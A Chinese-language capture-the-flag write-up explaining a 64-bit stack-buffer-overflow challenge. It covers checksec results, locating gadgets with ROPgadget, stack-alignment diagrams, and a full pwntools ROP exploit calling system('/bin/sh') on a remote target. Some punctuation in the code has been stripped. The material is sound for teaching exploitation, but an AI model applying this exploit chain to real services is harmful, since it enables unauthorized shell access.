
一、题目二、方法下载的文件没有后缀使用linux的file查看文件的格式。file pwnELF 文件是 Linux/Unix 系统下的可执行文件或目标文件同时看到该文件是在64位系统上运行的。检查安全机制checksec pwnArch: amd64-64-little → 64 位 ELF RELRO: Full RELRO → GOT 表完全只读 Stack: No canary found → 没有栈保护栈溢出不会被检测 NX: NX enabled → 栈不可执行不能注入 shellcode PIE: No PIE (0x400000) → 基址固定地址写死 Stripped: No → 有符号表函数名可见NX enabled数据所在的内存页不可执行说明不能直接往数据内存页中填写代码生成后门。只能利用已有的符号、函数、值等去进行拼凑即使用ROP技术。【注】ROP Return-Oriented Programming返回导向编程它是一种利用程序自身已有代码片段来构造攻击的技术。核心思想是不写新代码而是把程序里已有的小片段gadget像积木一样拼起来让程序按我们的意图执行。使用IDA对pwn文件进行反汇编。F5对main函数进行反汇编可以看到缓冲区 buf v5 32 字节read 允许读 256 字节存在栈溢出漏洞。由于需要利用程序自身已有代码片段来构造攻击查看pwn中的字符串。发现其中自带/bin/sh地址0x402004和system地址0x40043F可以构造ROP调用system(/bin/sh)从而打开shell进行操作。接下来详细讲解如何构造EXP。首先要说明64位系统的函数调用过程前面判断pwn文件类型的时候已经知道系统是64位的了调用一个函数需要先确定它第一条指令的地址再完成传参。64 位下前六个参数按顺序依次放入RDI、RSI、RDX、RCX、R8、R9六个寄存器函数的返回值保存在RAX寄存器。一次函数调用本质上是一次压栈过程主要由两个指针管理RSP 保存栈顶指针始终指向栈顶栈向低地址方向增长RBP 保存当前函数的栈基址。函数执行完毕后会通过ret 指令从栈顶弹出返回地址跳转到该地址继续执行。所以要先找到一些需要使用的指令。pop rdi将当前栈顶的元素弹出放入 rdi 中第一个寄存器只传一个/bin/sh参数。ret弹出栈顶同时也用于栈对齐。先用ROPgadget查一下能借用的命令以及其地址。命令ROPgadget --binary pwn这两个命令刚好能用拼凑一下完整的执行过程。main 执行 leave; ret 系统本身的 │ │ ret 弹出 0x401016栈顶指针移动到pop rdi指令指针移动到ret ▼ ┌─────────────────┐ │ ret gadget │ ← 0x401016放的是ret指令 │ (栈对齐) │ 因为要执行system要求栈对齐 └────────┬────────┘ │ ret 弹出 0x40126b栈顶指针移动到/bin/sh的地址指令指针移动到pop rdi ▼ ┌─────────────────┐ │ pop rdi; ret │ ← 0x40126b将栈顶地址内容压入rdi寄存器中 │ rdi /bin/sh │ └────────┬────────┘ │ ret 弹出 system栈顶指针移动到栈上原有的旧数据指令指针移动到system ▼ ┌─────────────────┐ │ system │ system把rdi寄存器中的内容当参数调用 │ system(/bin/sh)│ └────────┬────────┘ │ ▼ 拿到 shell │ ▼ cat flag构造payload。ba*0x20 p64(0x8) p64(ret) p64(pop_rdi) p64(sh_address) p64(system) ba*0x20 填满 buf 和 v5 共 32 字节 p64(1) 覆盖保存的 rbp占位值随意 p64(ret) 覆盖 main 的返回地址使 main 的 ret 先跳到 ret gadget 做栈对齐 ret 再弹出 p64(pop_rdi) 跳到 pop rdi; ret pop rdi 把下一个值 p64(sh_address) 弹入 rdi 作为 system 的第一个参数 最后 ret 弹出 p64(system) 跳到 system执行 system(/bin/sh)高地址 ┌─────────────────────┐ │ 调用者栈帧 │ ├─────────────────────┤ │ system 地址 │ ← 最终跳这里 ├─────────────────────┤ │ /bin/sh 地址 │ ← pop rdi 弹出这个 ├─────────────────────┤ │ pop_rdi 地址 │ ← ret 跳这里 ├─────────────────────┤ │ ret 地址 │ ← ret 跳这里 ├─────────────────────┤ │ 0x8占位 rbp │ ← 覆盖保存的 rbp ├─────────────────────┤ │ aaaa... (32字节) │ ← 填满 buf v5 └─────────────────────┘ 低地址最终EXP代码from pwn import * io remote(IP, 端口) # 远程连接目标 elf ELF(./pwn) # 加载 ELF 文件方便读符号 system_adress elf.symbols[system] # 从符号表取 system 地址 offset 0x20 # 填充长度填满 buf v532 字节 pop_rdi 0x40126b # pop rdi; ret gadget用来给 rdi 传参 ret 0x401016 # ret gadget用来栈对齐 sh_address 0x402004 # 程序里 /bin/sh 字符串的地址 gdbscript b *0x401205 # 在 main 调用 read 之后下断点方便调试 # 构造 ROP 链 # 填充 占位 rbp 栈对齐 设置 rdi /bin/sh system payload ba*offset p64(1) p64(ret) p64(pop_rdi) p64(sh_address) p64(system_adress) io.recvuntil(bPlease Input your name.\n) # 等程序输出提示 io.send(payload) # 发送 payload io.interactive() # 进入交互拿 shell 后 cat flag执行EXP进入Shell查看flag文件得到flag。